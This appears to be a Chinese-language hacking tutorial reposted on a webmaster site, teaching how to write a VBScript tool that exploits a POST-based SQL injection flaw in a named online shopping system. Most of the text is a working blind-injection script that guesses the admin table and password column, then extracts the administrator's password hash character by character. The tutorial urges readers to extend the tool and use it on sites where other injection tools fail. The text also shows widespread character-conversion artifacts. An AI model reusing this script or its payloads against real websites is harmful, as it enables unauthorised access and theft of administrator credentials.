平常我們遇到有注入漏洞一類的網(wǎng)站大部分人都是用NBSI Or 阿D一類的注射工具。但有的站點(diǎn)的注射點(diǎn)很難構(gòu)造,或者說注射語句比較特殊。如果用手工去注射的話,費(fèi)時(shí)又費(fèi)力!但自己寫針對(duì)性的工具的話,對(duì)一些剛?cè)腴T不久或不會(huì)編程的朋友來說,實(shí)在是一件很痛苦的事情。因此今天NP給大家?guī)淼奈恼戮褪侵v如何用簡(jiǎn)單的VBS腳本來打造我們所要的注射工具。
在您繼續(xù)看這篇文章之前,我先大膽的假設(shè)此時(shí)的您已經(jīng)學(xué)會(huì)了VBS腳本的基礎(chǔ)知識(shí)以及基本的SQL Inject知識(shí)。 首先,我們先來看一段有漏洞的代碼。(此代碼摘自“網(wǎng)趣網(wǎng)上購物系統(tǒng)時(shí)尚版 v3.2”的Getpwd2.asp的片段) <% username=request.form("username") set rs=Server.CreateObject("Adodb.Recordset") sql="select * from [user] where username='"&username&"' " rs.open sql,conn,1,1 If rs.eof Then %> 已知管理員表為admin 密碼字段為password 有經(jīng)驗(yàn)的朋友可以很清楚的看到第6句的SQL語句把沒有經(jīng)過任何過濾的Username變量,直接提交執(zhí)行了。這是一個(gè)很經(jīng)典的SQL Inject漏洞。那么我們?nèi)绾稳ダ眠@個(gè)漏洞呢? 由于username變量是用request.form獲取的,而我們知道request.form只接受POST提交上來的數(shù)據(jù),因此我們不能像往常一樣構(gòu)造如下語句進(jìn)行注射了。 http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''=' //直接在URL地址欄輸入的話,由于是GET提交數(shù)據(jù),Getpwd2.asp是不會(huì)接收數(shù)據(jù)的。 看到這,您或許會(huì)說,那用NBSI中的POST提交功能呢? 經(jīng)過測(cè)試把http://127.0.0.1/getpwd2.asp?username= 填入NBSI地址欄,使用POST提交,NBSI會(huì)說“注入破解失敗” 由于語句的關(guān)系,NBSI無法幫我們跑出相關(guān)密碼。阿D就不用說了,全用GET…也無法幫我們完成任務(wù). 現(xiàn)在我們?cè)贉y(cè)試下手工注射! 我們將如下語句填入getpwd.asp的表單中: ' or 0<>(select count(*) from admin) and ''=' 返回正確提示,說明我們注射成功! OK,架設(shè)的環(huán)境已經(jīng)大體分析清楚了….我們開始進(jìn)入主題. VBS 的注射腳本需要用到XmlHttp組件和ADODB.Stream組件,請(qǐng)確保您機(jī)器上存在這兩個(gè)組件!(默認(rèn)系統(tǒng)自帶,但由于去年ADODB.Stream網(wǎng)頁木馬的事件,很多機(jī)器的 ADODB.Stream組件被刪除了,所以寫此注射腳本時(shí),請(qǐng)保證該組件可以使用) On error resume next if (lcase(right(wscript.fullname,11))="wscript.exe") then wscript.echo "Execute it under the cmd.exe Plz! Thx." wscript.quit end if ‘//上面的IF語句是判斷腳本執(zhí)行程序是否為wscript.exe,如果是則提示對(duì)方到CMD下執(zhí)行 URL=lcase(trim(Wscript.Arguments(0))) ‘//簡(jiǎn)單過濾提交參數(shù)的兩邊空格以及轉(zhuǎn)換成全小寫. RightW = "這個(gè)用戶沒有注冊(cè)" ‘//這個(gè)是定義判斷猜對(duì)與否的關(guān)鍵字 if url <> "" then '猜解管理員表 data = "' or 0<>(select count(*) from admin) and ''='" GetHTTPPage(url) If len(GetHTTPPage(url)) <5 then wscript.echo "Error...Please checking the url!" wscript.quit end if ‘//上面這個(gè)IF語句,主要是判斷反饋信息,如果反饋信息的長度少于5,那說明提交的URL有問題,需要退出重新檢查后再注射. If Instr(GetHTTPPage(url), RightW) = 0 then Wscript.echo "Table name ""admin"" find" else wscript.echo "Not found table name ...exit..." wscript.quit end If ‘//如果發(fā)現(xiàn)關(guān)鍵字,則報(bào)告表名猜解正確,否則退出! '猜解密碼字段 data ="' or 0<>(select count(password) from admin) and ''='" GetHTTPPage(url) If Instr(GetHTTPPage(url), RightW) = 0 then WScript.Echo "" Wscript.echo "The Column name ""password"" find" else wscript.echo "Not found Column name ...exit..." wscript.quit End If ‘//猜解密碼字段亦同! '猜解密碼 WScript.Echo "" WScript.Echo "Start guessing,Waiting... ..." WScript.Echo "" pwd="" strings="0123456789abcdef" '定義密碼范圍(構(gòu)成md5值的主要字符) For i=1 To 16 Step 1 wscript.echo "Guessing No. "&i&"... ..." For k=1 To Len(strings) Step 1 data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='" GetHTTPPage(url) If Instr(GetHTTPPage(url), RightW) = 0 then pwd = pwd&Mid(strings,k,1) Exit For End If Next Next ‘//此腳本之精華之處,嵌套循環(huán)猜解密碼! ‘//依次取密碼與構(gòu)成MD5的主要16個(gè)字符的ASC值進(jìn)行對(duì)比 ‘//正確則給PWD附值并跳出單循環(huán),繼續(xù)下一個(gè)猜解 wscript.echo "--------------------------------------------------------------------------------" wscript.echo "Guessing over!!!" If error Then Wscript.echo "error:" & Error.Description Error.Clear Else Wscript.echo "Password is:" & pwd End if ‘//輸出已經(jīng)猜解成功的密碼 else wscript.echo "--------------------------------------------------------------------------------" wscript.echo "e.g cscript getpass.vbs http://127.0.0.1/getpwd2.asp" wscript.echo "--------------------------------------------------------------------------------" End if ‘//以下是注射的POST提交函數(shù) ‘//用ADODB.Stream轉(zhuǎn)換編碼,速度比較快,對(duì)于反饋數(shù)據(jù)多的站點(diǎn)比較有優(yōu)勢(shì)! Function GetHTTPPage(url) dim XmlHttp set XmlHttp=createobject("Msxml2.XMLHTTP") XmlHttp.open "POST",url,false xmlHttp.setRequestHeader "Content-Type","application/x-www-form-urlencoded" XmlHttp.send("username="&data) if XmlHttp.readystate<>4 then exit function GetHTTPPage=Bytes2bStr(xmlHttp.responsebody) set XmlHttp=nothing if err.number<>0 then err.Clear End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "GB2312" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function 注意事項(xiàng):要提交的SQL語句,空格需要用加號(hào)替換,否則在有的機(jī)器上無法猜解! 以上就是我們自己針對(duì)性打造的注射工具了. 使用方法也很簡(jiǎn)單,在CMD下執(zhí)行 Cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可! 怎么樣?是不是很簡(jiǎn)單呢? 您或許還會(huì)說,為什么沒猜管理員的用戶名字段和相關(guān)ID呢?呵呵,這就留個(gè)大家當(dāng)作業(yè)吧. 您可以添加如下功能: 自動(dòng)判斷管理員的用戶名字段 自動(dòng)判斷管理員的用戶名所在的有效ID值 可猜解指定的ID. 更深入的過濾及檢測(cè)URL是否有效. 多說無意…行動(dòng)最實(shí)際! Go Go Go…開始打造你自己的注射程序 |
免責(zé)聲明:本站部分文章和圖片均來自用戶投稿和網(wǎng)絡(luò)收集,旨在傳播知識(shí),文章和圖片版權(quán)歸原作者及原出處所有,僅供學(xué)習(xí)與參考,請(qǐng)勿用于商業(yè)用途,如果損害了您的權(quán)利,請(qǐng)聯(lián)系我們及時(shí)修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創(chuàng)業(yè)、互聯(lián)網(wǎng)等領(lǐng)域,為您提供最新最全的互聯(lián)網(wǎng)資訊,幫助站長轉(zhuǎn)型升級(jí),為互聯(lián)網(wǎng)創(chuàng)業(yè)者提供更加優(yōu)質(zhì)的創(chuàng)業(yè)信息和品牌營銷服務(wù),與站長一起進(jìn)步!讓互聯(lián)網(wǎng)創(chuàng)業(yè)者不再孤獨(dú)!
掃一掃,關(guān)注站長網(wǎng)微信